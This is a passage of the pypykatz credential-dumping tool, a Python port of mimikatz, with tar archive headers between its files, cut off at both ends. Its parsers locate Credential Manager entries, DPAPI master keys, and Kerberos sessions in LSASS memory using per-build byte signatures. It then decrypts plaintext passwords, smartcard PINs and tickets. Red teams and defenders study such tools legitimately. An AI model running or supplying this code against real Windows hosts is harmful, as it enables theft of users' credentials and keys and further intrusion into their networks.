res.server1 =await LSA_UNICODE_STRING.load(reader) res.unk6 = await PVOID.load(reader) res.unk7 = await PVOID.load(reader) res.unk8 = await PVOID.load(reader) res.unk9 = await PVOID.load(reader) res.unk10 = await PVOID.load(reader) res.user =await LSA_UNICODE_STRING.load(reader) res.unk11 = await ULONG.loadvalue(reader) await reader.align() res.server2 =await LSA_UNICODE_STRING.load(reader) return res class PKIWI_CREDMAN_LIST_ENTRY_X86(POINTER): def __init__(self): super().__init__() @staticmethod async def load(reader): p = PKIWI_CREDMAN_LIST_ENTRY_X86() p.location = reader.tell() p.value = await reader.read_uint() p.finaltype = KIWI_CREDMAN_LIST_ENTRY_X86 return p class KIWI_CREDMAN_LIST_ENTRY_X86: def __init__(self): self.cbEncPassword = None self.encPassword = None self.unk0 = None self.unk1 = None self.unk2 = None self.unk3 = None self.UserName = None self.cbUserName = None self.Flink = None self.Blink = None self.unk4 = None self.type = None self.unk5 = None self.server1 = None self.unk6 = None self.unk7 = None self.unk8 = None self.unk9 = None self.unk10 = None self.user = None self.unk11 = None self.server2 = None @staticmethod async def load(reader): res = KIWI_CREDMAN_LIST_ENTRY_X86() #IMPORTANT NOTICE, THE STRUCTURE STARTS BEFORE THE FLINK/BLINK POINTER, SO WE NEED TO READ BACKWARDS # await reader.move(reader.tell() - 32) await reader.align() #not sure if it's needed here # res.cbEncPassword = await ULONG.loadvalue(reader) await reader.align() res.encPassword =await PWSTR.load(reader) res.unk0 = await ULONG.loadvalue(reader) res.unk1 = await ULONG.loadvalue(reader) res.unk2 = await PVOID.load(reader) res.unk3 = await PVOID.load(reader) res.UserName =await PWSTR.load(reader) res.cbUserName = await ULONG.loadvalue(reader) await reader.align() res.Flink = await PKIWI_CREDMAN_LIST_ENTRY.load(reader) res.Blink = await PKIWI_CREDMAN_LIST_ENTRY.load(reader) res.unk4 = await LIST_ENTRY.load(reader) res.type =await LSA_UNICODE_STRING.load(reader) res.unk5 = await PVOID.load(reader) res.server1 =await LSA_UNICODE_STRING.load(reader) res.unk6 = await PVOID.load(reader) res.unk7 = await PVOID.load(reader) res.unk8 = await PVOID.load(reader) res.unk9 = await PVOID.load(reader) res.unk10 = await PVOID.load(reader) res.user =await LSA_UNICODE_STRING.load(reader) res.unk11 = await ULONG.loadvalue(reader) await reader.align() res.server2 =await LSA_UNICODE_STRING.load(reader) return res class PKIWI_CREDMAN_LIST_ENTRY_5(POINTER): def __init__(self): super().__init__() @staticmethod async def load(reader): p = PKIWI_CREDMAN_LIST_ENTRY_5() p.location = reader.tell() p.value = await reader.read_uint() p.finaltype = KIWI_CREDMAN_LIST_ENTRY_5 return p class KIWI_CREDMAN_LIST_ENTRY_5: def __init__(self): self.cbEncPassword = None self.encPassword = None self.unk0 = None self.unk1 = None self.unk2 = None self.unk3 = None self.UserName = None self.cbUserName = None self.Flink = None self.Blink = None self.server1 = None self.unk6 = None self.unk7 = None self.user = None self.unk8 = None self.server2 = None @staticmethod async def load(reader): res = KIWI_CREDMAN_LIST_ENTRY_5() #IMPORTANT NOTICE, THE STRUCTURE STARTS BEFORE THE FLINK/BLINK POINTER, SO WE NEED TO READ BACKWARDS # await reader.move(reader.tell() - 56) await reader.align() #not sure if it's needed here res.cbEncPassword = await ULONG.loadvalue(reader) await reader.align() res.encPassword = await PWSTR.load(reader) res.unk0 = await ULONG.loadvalue(reader) res.unk1 = await ULONG.loadvalue(reader) res.unk2 = await PVOID.load(reader) res.unk3 = await PVOID.load(reader) res.UserName = await PWSTR.load(reader) res.cbUserName = await ULONG.loadvalue(reader) await reader.align() res.Flink = await PKIWI_CREDMAN_LIST_ENTRY_5.load(reader) res.Blink = await PKIWI_CREDMAN_LIST_ENTRY_5.load(reader) res.server1 = await LSA_UNICODE_STRING.load(reader) res.unk6 = await PVOID.load(reader) res.unk7 = await PVOID.load(reader) res.user = await LSA_UNICODE_STRING.load(reader) res.unk8 = await ULONG.loadvalue(reader) await reader.align() res.server2 = LSA_UNICODE_STRING return res class PKIWI_CREDMAN_LIST_ENTRY_60(POINTER): def __init__(self): super().__init__() @staticmethod async def load(reader): p = PKIWI_CREDMAN_LIST_ENTRY_60() p.location = reader.tell() p.value = await reader.read_uint() p.finaltype = KIWI_CREDMAN_LIST_ENTRY_60 return p class KIWI_CREDMAN_LIST_ENTRY_60: def __init__(self): self.cbEncPassword = None self.encPassword = None self.unk0 = None self.unk1 = None self.unk2 = None self.unk3 = None self.UserName = None self.cbUserName = None self.Flink = None self.Blink = None self.type = None self.unk5 = None self.server1 = None self.unk6 = None self.unk7 = None self.unk8 = None self.unk9 = None self.unk10 = None self.user = None self.unk11 = None self.server2 = None @staticmethod async def load(reader): res = KIWI_CREDMAN_LIST_ENTRY_60() #IMPORTANT NOTICE, THE STRUCTURE STARTS BEFORE THE FLINK/BLINK POINTER, SO WE NEED TO READ BACKWARDS # await reader.move(reader.tell() - 56) await reader.align() #not sure if it's needed here # #input('KIWI_CREDMAN_LIST_ENTRY_60 \n%s' % hexdump(reader.peek(0x200), start = reader.tell())) # res.cbEncPassword = await ULONG.loadvalue(reader) await reader.align() res.encPassword =await PWSTR.load(reader) res.unk0 = await ULONG.loadvalue(reader) res.unk1 = await ULONG.loadvalue(reader) res.unk2 = await PVOID.load(reader) res.unk3 = await PVOID.load(reader) res.UserName = await PWSTR.load(reader) res.cbUserName = await ULONG.loadvalue(reader) await reader.align() res.Flink = await PKIWI_CREDMAN_LIST_ENTRY_60.load(reader) res.Blink = await PKIWI_CREDMAN_LIST_ENTRY_60.load(reader) res.type =await LSA_UNICODE_STRING.load(reader) res.unk5 = await PVOID.load(reader) res.server1 =await LSA_UNICODE_STRING.load(reader) res.unk6 = await PVOID.load(reader) res.unk7 = await PVOID.load(reader) res.unk8 = await PVOID.load(reader) res.unk9 = await PVOID.load(reader) res.unk10 = await PVOID.load(reader) res.user =await LSA_UNICODE_STRING.load(reader) res.unk11 = await ULONG.loadvalue(reader) await reader.align() res.server2 =await LSA_UNICODE_STRING.load(reader) return res class PKIWI_CREDMAN_LIST_ENTRY(POINTER): def __init__(self): super().__init__() @staticmethod async def load(reader): p = PKIWI_CREDMAN_LIST_ENTRY() p.location = reader.tell() p.value = await reader.read_uint() p.finaltype = KIWI_CREDMAN_LIST_ENTRY return p class KIWI_CREDMAN_LIST_ENTRY: def __init__(self): self.cbEncPassword = None self.encPassword = None self.unk0 = None self.unk1 = None self.unk2 = None self.unk3 = None self.UserName = None self.cbUserName = None self.Flink = None self.Blink = None self.unk4 = None self.type = None self.unk5 = None self.server1 = None self.unk6 = None self.unk7 = None self.unk8 = None self.unk9 = None self.unk10 = None self.user = None self.unk11 = None self.server2 = None @staticmethod async def load(reader): res = KIWI_CREDMAN_LIST_ENTRY() #IMPORTANT NOTICE, THE STRUCTURE STARTS BEFORE THE FLINK/BLINK POINTER, SO WE NEED TO READ BACKWARDS await reader.move(reader.tell() - 56) await reader.align() #not sure if it's needed here res.cbEncPassword = await ULONG.loadvalue(reader) await reader.align() res.encPassword =await PWSTR.load(reader) res.unk0 = await ULONG.loadvalue(reader) res.unk1 = await ULONG.loadvalue(reader) res.unk2 = await PVOID.load(reader) res.unk3 = await PVOID.load(reader) res.UserName =await PWSTR.load(reader) res.cbUserName = await ULONG.loadvalue(reader) await reader.align() res.Flink = await PKIWI_CREDMAN_LIST_ENTRY.load(reader) res.Blink = await PKIWI_CREDMAN_LIST_ENTRY.load(reader) res.unk4 =await LIST_ENTRY.load(reader) res.type =await LSA_UNICODE_STRING.load(reader) res.unk5 = await PVOID.load(reader) res.server1 =await LSA_UNICODE_STRING.load(reader) res.unk6 = await PVOID.load(reader) res.unk7 = await PVOID.load(reader) res.unk8 = await PVOID.load(reader) res.unk9 = await PVOID.load(reader) res.unk10 = await PVOID.load(reader) res.user = await LSA_UNICODE_STRING.load(reader) res.unk11 = await ULONG.loadvalue(reader) await reader.align() res.server2 =await LSA_UNICODE_STRING.load(reader) return res class PKIWI_CREDMAN_LIST_STARTER(POINTER): def __init__(self): super().__init__() @staticmethod async def load(reader): p = PKIWI_CREDMAN_LIST_STARTER() p.location = reader.tell() p.value = await reader.read_uint() p.finaltype = KIWI_CREDMAN_LIST_STARTER return p class KIWI_CREDMAN_LIST_STARTER: def __init__(self): self.unk0 = None self.start = None @staticmethod async def load(reader): res = KIWI_CREDMAN_LIST_STARTER() res.unk0 = await ULONG.load(reader) await reader.align() res.start = await PKIWI_CREDMAN_LIST_ENTRY.load(reader) return res class PKIWI_CREDMAN_SET_LIST_ENTRY(POINTER): def __init__(self): super().__init__() @staticmethod async def load(reader): p = PKIWI_CREDMAN_SET_LIST_ENTRY() p.location = reader.tell() p.value = await reader.read_uint() p.finaltype = KIWI_CREDMAN_SET_LIST_ENTRY return p class KIWI_CREDMAN_SET_LIST_ENTRY: def __init__(self): self.Flink = None self.Blink = None self.unk0 = None self.list1 = None self.list2 = None @staticmethod async def load(reader): res = KIWI_CREDMAN_SET_LIST_ENTRY() res.Flink = await PKIWI_CREDMAN_SET_LIST_ENTRY.load(reader) res.Blink = await PKIWI_CREDMAN_SET_LIST_ENTRY.load(reader) res.unk0 = await ULONG.loadvalue(reader) await reader.align() res.list1 = await PKIWI_CREDMAN_LIST_STARTER.load(reader) res.list2 = await PKIWI_CREDMAN_LIST_STARTER.load(reader) return res ././@PaxHeader0000000000000000000000000000003400000000000010212 xustar0028 mtime=1721570196.2833636 pypykatz-0.6.10/pypykatz/alsadecryptor/packages/dpapi/0000775000175000017500000000000014647211624022476 5ustar00webdevwebdev././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1703767448.0 pypykatz-0.6.10/pypykatz/alsadecryptor/packages/dpapi/__init__.py0000664000175000017500000000000014543266630024577 0ustar00webdevwebdev././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1703767448.0 pypykatz-0.6.10/pypykatz/alsadecryptor/packages/dpapi/decryptor.py0000664000175000017500000000450614543266630025072 0ustar00webdevwebdev#!/usr/bin/env python3 # # Author: # Tamas Jos (@skelsec) # import io import json import hashlib from pypykatz.alsadecryptor.package_commons import PackageDecryptor class DpapiCredential: def __init__(self): self.credtype = 'dpapi' self.luid = None self.key_guid = None self.masterkey = None self.sha1_masterkey = None def to_dict(self): t = {} t['credtype'] = self.credtype t['key_guid'] = self.key_guid t['masterkey'] = self.masterkey t['sha1_masterkey'] = self.sha1_masterkey t['luid'] = self.luid return t def to_json(self): return json.dumps(self.to_dict()) def __str__(self): t = '\t== DPAPI [%x]==\n' % self.luid t += '\t\tluid %s\n' % self.luid t += '\t\tkey_guid %s\n' % self.key_guid t += '\t\tmasterkey %s\n' % self.masterkey t += '\t\tsha1_masterkey %s\n' % self.sha1_masterkey return t class DpapiDecryptor(PackageDecryptor): def __init__(self, reader, decryptor_template, lsa_decryptor, sysinfo): super().__init__('Dpapi', lsa_decryptor, sysinfo, reader) self.decryptor_template = decryptor_template self.credentials = [] async def find_first_entry(self, modulename): position = await self.find_signature(modulename, self.decryptor_template.signature) ptr_entry_loc = await self.reader.get_ptr_with_offset(position + self.decryptor_template.first_entry_offset) ptr_entry = await self.reader.get_ptr(ptr_entry_loc) return ptr_entry, ptr_entry_loc async def add_entry(self, dpapi_entry): if dpapi_entry.key is None: return if dpapi_entry and dpapi_entry.keySize > 0: #and dpapi_entry.keySize % 8 == 0: dec_masterkey, raw_dec = self.decrypt_password(dpapi_entry.key, bytes_expected = True) sha_masterkey = hashlib.sha1(dec_masterkey).hexdigest() c = DpapiCredential() c.luid = dpapi_entry.LogonId c.key_guid = dpapi_entry.KeyUid c.masterkey = dec_masterkey.hex() c.sha1_masterkey = sha_masterkey self.credentials.append(c) async def start(self): for modulename in ['lsasrv.dll','dpapisrv.dll']: try: entry_ptr_value, entry_ptr_loc = await self.find_first_entry(modulename) except Exception as e: self.log('Failed to find structs! Reason: %s' % e) continue await self.reader.move(entry_ptr_loc) entry_ptr = await self.decryptor_template.list_entry.load(self.reader) await self.walk_list(entry_ptr, self.add_entry)././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1703767448.0 pypykatz-0.6.10/pypykatz/alsadecryptor/packages/dpapi/templates.py0000664000175000017500000000751014543266630025053 0ustar00webdevwebdev#!/usr/bin/env python3 # # Author: # Tamas Jos (@skelsec) # from pypykatz.commons.common import WindowsMinBuild, KatzSystemArchitecture, WindowsBuild from pypykatz.alsadecryptor.win_datatypes import LUID, GUID, POINTER, FILETIME, ULONG from pypykatz.alsadecryptor.package_commons import PackageTemplate class DpapiTemplate(PackageTemplate): def __init__(self): super().__init__('Dpapi') self.signature = None self.first_entry_offset = None self.list_entry = None @staticmethod def get_template(sysinfo): template = DpapiTemplate() template.list_entry = PKIWI_MASTERKEY_CACHE_ENTRY template.log_template('list_entry', template.list_entry) if sysinfo.architecture == KatzSystemArchitecture.X64: if sysinfo.buildnumber < WindowsMinBuild.WIN_VISTA.value: template.signature = b'\x4d\x3b\xee\x49\x8b\xfd\x0f\x85' template.first_entry_offset = -4 elif WindowsMinBuild.WIN_VISTA.value <= sysinfo.buildnumber < WindowsMinBuild.WIN_7.value: template.signature = b'\x49\x3b\xef\x48\x8b\xfd\x0f\x84' template.first_entry_offset = -4 elif WindowsMinBuild.WIN_7.value <= sysinfo.buildnumber < WindowsMinBuild.WIN_8.value: template.signature = b'\x33\xc0\xeb\x20\x48\x8d\x05' template.first_entry_offset = 7 elif WindowsMinBuild.WIN_8.value <= sysinfo.buildnumber < WindowsMinBuild.WIN_BLUE.value: template.signature = b'\x4c\x89\x1f\x48\x89\x47\x08\x49\x39\x43\x08\x0f\x85' template.first_entry_offset = -4 elif WindowsMinBuild.WIN_BLUE.value <= sysinfo.buildnumber < WindowsBuild.WIN_10_1507.value: template.signature = b'\x08\x48\x39\x48\x08\x0f\x85' template.first_entry_offset = -10 elif WindowsBuild.WIN_10_1507.value <= sysinfo.buildnumber < WindowsBuild.WIN_10_1607.value: template.signature = b'\x48\x89\x4e\x08\x48\x39\x48\x08' template.first_entry_offset = -7 elif sysinfo.buildnumber >= WindowsBuild.WIN_10_1607.value: template.signature = b'\x48\x89\x4f\x08\x48\x89\x78\x08' template.first_entry_offset = 11 else: #currently this doesnt make sense, but keeping it here for future use raise Exception('Could not identify template! Architecture: %s sysinfo.buildnumber: %s' % (sysinfo.architecture, sysinfo.buildnumber)) elif sysinfo.architecture == KatzSystemArchitecture.X86: if sysinfo.buildnumber < WindowsMinBuild.WIN_8.value: template.signature = b'\x33\xc0\x40\xa3' template.first_entry_offset = -4 elif WindowsMinBuild.WIN_8.value <= sysinfo.buildnumber < WindowsMinBuild.WIN_BLUE.value: template.signature = b'\x8b\xf0\x81\xfe\xcc\x06\x00\x00\x0f\x84' template.first_entry_offset = -16 elif sysinfo.buildnumber >= WindowsMinBuild.WIN_BLUE.value: template.signature = b'\x33\xc0\x40\xa3' template.first_entry_offset = -4 else: raise Exception('Unknown architecture! %s' % sysinfo.architecture) return template class PKIWI_MASTERKEY_CACHE_ENTRY(POINTER): def __init__(self): super().__init__() @staticmethod async def load(reader): p = PKIWI_MASTERKEY_CACHE_ENTRY() p.location = reader.tell() p.value = await reader.read_uint() p.finaltype = KIWI_MASTERKEY_CACHE_ENTRY return p class KIWI_MASTERKEY_CACHE_ENTRY: def __init__(self): self.Flink = None self.Blink = None self.LogonId = None self.KeyUid = None self.insertTime = None self.keySize = None self.key = None @staticmethod async def load(reader): res = KIWI_MASTERKEY_CACHE_ENTRY() res.Flink = await PKIWI_MASTERKEY_CACHE_ENTRY.load(reader) res.Blink = await PKIWI_MASTERKEY_CACHE_ENTRY.load(reader) res.LogonId = await LUID.loadvalue(reader) res.KeyUid = await GUID.loadvalue(reader) res.insertTime = await FILETIME.load(reader) res.keySize = await ULONG.loadvalue(reader) if res.keySize < 512: res.key = await reader.read(res.keySize) else: res.key = None return res ././@PaxHeader0000000000000000000000000000003400000000000010212 xustar0028 mtime=1721570196.2873638 pypykatz-0.6.10/pypykatz/alsadecryptor/packages/kerberos/0000775000175000017500000000000014647211624023215 5ustar00webdevwebdev././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1703767448.0 pypykatz-0.6.10/pypykatz/alsadecryptor/packages/kerberos/__init__.py0000664000175000017500000000000014543266630025316 0ustar00webdevwebdev././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1703767448.0 pypykatz-0.6.10/pypykatz/alsadecryptor/packages/kerberos/decryptor.py0000664000175000017500000002424414543266630025612 0ustar00webdevwebdev#!/usr/bin/env python3 # # Author: # Tamas Jos (@skelsec) # from typing import List from pypykatz.commons.kerberosticket import KerberosTicket, KerberosTicketType from pypykatz.alsadecryptor.package_commons import PackageDecryptor from pypykatz.alsadecryptor.win_datatypes import PLIST_ENTRY, PRTL_AVL_TABLE from pypykatz.commons.common import WindowsMinBuild from pypykatz.commons.common import hexdump class KerberosCredential: def __init__(self): self.credtype:str = 'kerberos' self.username:str = None self.password:str = None self.password_raw:bytes = b'' self.domainname:str = None self.luid:int = None self.tickets:List[KerberosTicket] = [] self.pin:str = None self.pin_raw:bytes = None self.cardinfo = None def __str__(self): t = '\t== Kerberos ==\n' t += '\t\tUsername: %s\n' % self.username t += '\t\tDomain: %s\n' % self.domainname if self.password is not None: t += '\t\tPassword: %s\n' % self.password t += '\t\tpassword (hex)%s\n' % self.password_raw.hex() if self.pin is not None: t += '\t\tPIN: %s\n' % self.pin t += '\t\tPIN (hex): %s\n' % self.pin_raw.hex() if self.cardinfo is not None: t += '\t\tCARDINFO: \n' t += '\t\t\tCardName: %s\n' % self.cardinfo['CardName'] t += '\t\t\tReaderName: %s\n' % self.cardinfo['ReaderName'] t += '\t\t\tContainerName: %s\n' % self.cardinfo['ContainerName'] t += '\t\t\tCSPName: %s\n' % self.cardinfo['CSPName'] # TODO: check if users actually need this. # I think it's not useful to print out the kerberos ticket data as string, as noone uses it directly. # It is better to use the -k flag an export the tickets #for ticket in self.tickets: # t += '\t\t%s' % str(ticket).replace('\n','\n\t\t\t')[:-3] return t def to_dict(self): t = {} t['credtype'] = self.credtype t['username'] = self.username t['password'] = self.password t['password_raw'] = self.password_raw t['domainname'] = self.domainname t['luid'] = self.luid t['pin'] = self.pin t['pin_raw'] = self.pin_raw t['cardinfo'] = self.cardinfo t['tickets'] = [] for ticket in self.tickets: t['tickets'] = ticket.to_dict() return t class KerberosDecryptor(PackageDecryptor): def __init__(self, reader, decryptor_template, lsa_decryptor, sysinfo): super().__init__('Kerberos', lsa_decryptor, sysinfo, reader) self.decryptor_template = decryptor_template self.credentials = [] self.current_ticket_type = None self.current_cred = None async def find_first_entry(self): position = await self.find_signature('kerberos.dll',self.decryptor_template.signature) ptr_entry_loc = await self.reader.get_ptr_with_offset(position + self.decryptor_template.first_entry_offset) ptr_entry = await self.reader.get_ptr(ptr_entry_loc) return ptr_entry, ptr_entry_loc async def handle_ticket(self, kerberos_ticket): try: #input(kerberos_ticket) kt = await KerberosTicket.aparse(kerberos_ticket, self.reader, self.decryptor_template.sysinfo, self.current_ticket_type) self.current_cred.tickets.append(kt) #print(str(kt)) except Exception as e: raise e async def start(self): try: entry_ptr_value, entry_ptr_loc = await self.find_first_entry() except Exception as e: self.log('Failed to find structs! Reason: %s' % e) return if self.sysinfo.buildnumber < WindowsMinBuild.WIN_VISTA.value: #TODO: fix this return await self.reader.move(entry_ptr_loc) entry_ptr = await PLIST_ENTRY.load(self.reader) await self.walk_list(entry_ptr, self.process_session_elist) else: result_ptr_list = [] await self.reader.move(entry_ptr_value) avl_table = await PRTL_AVL_TABLE.load(self.reader) start_node = await avl_table.read(self.reader) await self.walk_avl(start_node.BalancedRoot.RightChild, result_ptr_list) for ptr in result_ptr_list: await self.log_ptr(ptr, self.decryptor_template.kerberos_session_struct.__name__) await self.reader.move(ptr) kerberos_logon_session = await self.decryptor_template.kerberos_session_struct.load(self.reader) await self.process_session(kerberos_logon_session) async def process_session_elist(self, elist): #TODO: fix this return await self.reader.move(elist.location) await self.reader.read_uint() #Flink do not remove this line! await self.reader.read_uint() #Blink do not remove this line! kerberos_logon_session = await self.decryptor_template.kerberos_session_struct.load(self.reader) await self.process_session(kerberos_logon_session) async def process_session(self, kerberos_logon_session): self.current_cred = KerberosCredential() self.current_cred.luid = kerberos_logon_session.LocallyUniqueIdentifier self.current_cred.username = await kerberos_logon_session.credentials.UserName.read_string(self.reader) self.current_cred.domainname = await kerberos_logon_session.credentials.Domaine.read_string(self.reader) pwdata = await kerberos_logon_session.credentials.Password.read_maxdata(self.reader) self.current_cred.password, self.current_cred.password_raw = self.decrypt_password(pwdata) if kerberos_logon_session.SmartcardInfos.value != 0: csp_info = await kerberos_logon_session.SmartcardInfos.read(self.reader, override_finaltype = self.decryptor_template.csp_info_struct) pin_enc = await csp_info.PinCode.read_maxdata(self.reader) self.current_cred.pin, raw_dec = self.decrypt_password(pin_enc) if csp_info.CspDataLength != 0: self.current_cred.cardinfo = csp_info.CspData.get_infos() #### key list (still in session) this is not a linked list (thank god!) if kerberos_logon_session.pKeyList.value != 0: key_list = await kerberos_logon_session.pKeyList.read(self.reader, override_finaltype = self.decryptor_template.keys_list_struct) #print(key_list.cbItem) await key_list.read(self.reader, self.decryptor_template.hash_password_struct) for key in key_list.KeyEntries: pass ### GOOD #keydata_enc = key.generic.Checksump.read_raw(self.reader, key.generic.Size) #print(keydata_enc) #keydata, raw_dec = self.decrypt_password(keydata_enc, bytes_expected=True) #print(keydata_enc.hex()) #input('KEY?') #print(key.generic.Checksump.value) #self.log_ptr(key.generic.Checksump.value, 'Checksump', datasize = key.generic.Size) #if self.reader.reader.sysinfo.BuildNumber < WindowsBuild.WIN_10_1507.value and key.generic.Size > LSAISO_DATA_BLOB.size: # if key.generic.Size <= LSAISO_DATA_BLOB.size + (len("KerberosKey") - 1) + 32: #AES_256_KEY_LENGTH # input('1') # data_blob = key.generic.Checksump.read(self.reader, override_finaltype = LSAISO_DATA_BLOB) # data_blob.read(self.reader, key.generic.Size - LSAISO_DATA_BLOB.size) # # input('data blob end') # """ # kprintf(L"\n\t * LSA Isolated Data: %.*S", blob->typeSize, blob->data); # kprintf(L"\n\t Unk-Key : "); kull_m_string_wprintf_hex(blob->unkKeyData, sizeof(blob->unkKeyData), 0); # kprintf(L"\n\t Encrypted: "); kull_m_string_wprintf_hex(blob->data + blob->typeSize, blob->origSize, 0); # kprintf(L"\n\t\t SS:%u, TS:%u, DS:%u", blob->structSize, blob->typeSize, blob->origSize); # kprintf(L"\n\t\t 0:0x%x, 1:0x%x, 2:0x%x, 3:0x%x, 4:0x%x, E:", blob->unk0, blob->unk1, blob->unk2, blob->unk3, blob->unk4); # kull_m_string_wprintf_hex(blob->unkData2, sizeof(blob->unkData2), 0); kprintf(L", 5:0x%x", blob->unk5); # """ # else: # input('2') # key.generic.Checksump.read(self.reader, override_finaltype = LSAISO_DATA_BLOB) # print('unkData1 : %s' % data_struct.unkData1.hex()) # print('unkData2 : %s' % data_struct.unkData2.hex()) # print('Encrypted : %s' % data_struct.data.hex()) #another extra struct should wrap this data! ENC_LSAISO_DATA_BLOB # #else: # # if self.reader.reader.sysinfo.BuildNumber < WindowsBuild.WIN_VISTA.value: # input('3') # key.generic.Checksump.read(self.reader, override_finaltype = LSAISO_DATA_BLOB) # print('unkData1 : %s' % data_struct.unkData1.hex()) # print('unkData2 : %s' % data_struct.unkData2.hex()) # print('Encrypted : %s' % data_struct.data.hex()) #another extra struct should wrap this data! ENC_LSAISO_DATA_BLOB # # else: # input('4') # #we need to decrypt as well! # self.reader.move(key.generic.Checksump.value) # enc_data = self.reader.read(key.generic.Size) # print(hexdump(enc_data)) # dec_data = self.lsa_decryptor.decrypt(enc_data) # print(hexdump(dec_data)) # t_reader = GenericReader(dec_data) # data_struct = LSAISO_DATA_BLOB(t_reader) # print('unkData1 : %s' % data_struct.unkData1.hex()) # print('unkData2 : %s' % data_struct.unkData2.hex()) # print('Encrypted : %s' % data_struct.data.hex()) #another extra struct should wrap this data! ENC_LSAISO_DATA_BLOB # #input() if kerberos_logon_session.Tickets_1.Flink.value != 0 and \ kerberos_logon_session.Tickets_1.Flink.value != kerberos_logon_session.Tickets_1.Flink.location and \ kerberos_logon_session.Tickets_1.Flink.value != kerberos_logon_session.Tickets_1.Flink.location - 4 : self.current_ticket_type = KerberosTicketType.TGS await self.walk_list(kerberos_logon_session.Tickets_1.Flink, self.handle_ticket , override_ptr = self.decryptor_template.kerberos_ticket_struct) if kerberos_logon_session.Tickets_2.Flink.value != 0 and \ kerberos_logon_session.Tickets_2.Flink.value != kerberos_logon_session.Tickets_2.Flink.location and \ kerberos_logon_session.Tickets_2.Flink.value != kerberos_logon_session.Tickets_2.Flink.location - 4 : self.current_ticket_type = KerberosTicketType.CLIENT await self.walk_list(kerberos_logon_session.Tickets_2.Flink,self.handle_ticket , override_ptr = self.decryptor_template.kerberos_ticket_struct) if kerberos_logon_session.Tickets_3.Flink.value != 0 and \ kerberos_logon_session.Tickets_3.Flink.value != kerberos_logon_session.Tickets_3.Flink.location and \ kerberos_logon_session.Tickets_3.Flink.value != kerberos_logon_session.Tickets_3.Flink.location - 4 : self.current_ticket_type = KerberosTicketType.TGT await self.walk_list(kerberos_logon_session.Tickets_3.Flink,self.handle_ticket , override_ptr = self.decryptor_template.kerberos_ticket_struct) self.current_ticket_type = None self.credentials.append(self.current_cred) ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1703767448.0 pypykatz-0.6.10/pypykatz/alsadecryptor/packages/kerberos/templates.py0000664000175000017500000020630114543266630025571 0ustar00webdevwebdev#!/usr/bin/env python3 # # Author: # Tamas Jos (@skelsec) # import io from pypykatz.commons.common import KatzSystemArchitecture, WindowsMinBuild, WindowsBuild from pypykatz.alsadecryptor.win_datatypes import POINTER, PVOID, ULONG, LIST_ENTRY, \ DWORD, LSA_UNICODE_STRING, PKERB_EXTERNAL_NAME, KIWI_GENERIC_PRIMARY_CREDENTIAL, \ LUID, PLSAISO_DATA_BLOB, ULONG64, FILETIME, PCWSTR, SIZE_T, BOOL from pypykatz.alsadecryptor.package_commons import PackageTemplate class KerberosTemplate(PackageTemplate): def __init__(self, sysinfo): super().__init__('Kerberos', sysinfo) self.signature = None self.first_entry_offset = None self.kerberos_session_struct = None self.kerberos_ticket_struct = None self.keys_list_struct = None self.hash_password_struct = None self.csp_info_struct = None @staticmethod def get_template(sysinfo): #input('%s %s' % (sysinfo.architecture,sysinfo.buildnumber)) template = KerberosTemplate(sysinfo) if sysinfo.architecture == KatzSystemArchitecture.X64: if WindowsMinBuild.WIN_XP.value <= sysinfo.buildnumber < WindowsMinBuild.WIN_2K3.value: template.signature = b'\x48\x3b\xfe\x0f\x84' template.first_entry_offset = -4 template.kerberos_session_struct = KIWI_KERBEROS_LOGON_SESSION_51 template.kerberos_ticket_struct = KIWI_KERBEROS_INTERNAL_TICKET_51 template.keys_list_struct = KIWI_KERBEROS_KEYS_LIST_5 template.hash_password_struct = KERB_HASHPASSWORD_5 template.csp_info_struct = KIWI_KERBEROS_CSP_INFOS_5 elif WindowsMinBuild.WIN_2K3.value <= sysinfo.buildnumber < WindowsMinBuild.WIN_VISTA.value: template.signature = b'\x48\x3b\xfe\x0f\x84' template.first_entry_offset = -4 template.kerberos_session_struct = KIWI_KERBEROS_LOGON_SESSION template.kerberos_ticket_struct = KIWI_KERBEROS_INTERNAL_TICKET_52 template.keys_list_struct = KIWI_KERBEROS_KEYS_LIST_5 template.hash_password_struct = KERB_HASHPASSWORD_5 template.csp_info_struct = KIWI_KERBEROS_CSP_INFOS_5 elif WindowsMinBuild.WIN_VISTA.value <= sysinfo.buildnumber < WindowsMinBuild.WIN_7.value: template.signature = b'\x48\x8b\x18\x48\x8d\x0d' template.first_entry_offset = 6 template.kerberos_session_struct = KIWI_KERBEROS_LOGON_SESSION template.kerberos_ticket_struct = KIWI_KERBEROS_INTERNAL_TICKET_60 template.keys_list_struct = KIWI_KERBEROS_KEYS_LIST_6 template.hash_password_struct = KERB_HASHPASSWORD_6 template.csp_info_struct = KIWI_KERBEROS_CSP_INFOS_60 elif WindowsMinBuild.WIN_7.value <= sysinfo.buildnumber < WindowsMinBuild.WIN_8.value: template.signature = b'\x48\x8b\x18\x48\x8d\x0d' template.first_entry_offset = 6 template.kerberos_session_struct = KIWI_KERBEROS_LOGON_SESSION template.kerberos_ticket_struct = KIWI_KERBEROS_INTERNAL_TICKET_6 template.keys_list_struct = KIWI_KERBEROS_KEYS_LIST_6 template.hash_password_struct = KERB_HASHPASSWORD_6 template.csp_info_struct = KIWI_KERBEROS_CSP_INFOS_60 elif WindowsMinBuild.WIN_8.value <= sysinfo.buildnumber < WindowsBuild.WIN_10_1507.value: template.signature = b'\x48\x8b\x18\x48\x8d\x0d' template.first_entry_offset = 6 template.kerberos_session_struct = KIWI_KERBEROS_LOGON_SESSION template.kerberos_ticket_struct = KIWI_KERBEROS_INTERNAL_TICKET_6 template.keys_list_struct = KIWI_KERBEROS_KEYS_LIST_6 template.hash_password_struct = KERB_HASHPASSWORD_6 template.csp_info_struct = KIWI_KERBEROS_CSP_INFOS_62 elif WindowsBuild.WIN_10_1507.value <= sysinfo.buildnumber < WindowsBuild.WIN_10_1511.value: template.signature = b'\x48\x8b\x18\x48\x8d\x0d' template.first_entry_offset = 6 template.kerberos_session_struct = KIWI_KERBEROS_LOGON_SESSION_10 template.kerberos_ticket_struct = KIWI_KERBEROS_INTERNAL_TICKET_6 template.keys_list_struct = KIWI_KERBEROS_KEYS_LIST_6 template.hash_password_struct = KERB_HASHPASSWORD_6 template.csp_info_struct = KIWI_KERBEROS_CSP_INFOS_10 elif WindowsBuild.WIN_10_1511.value <= 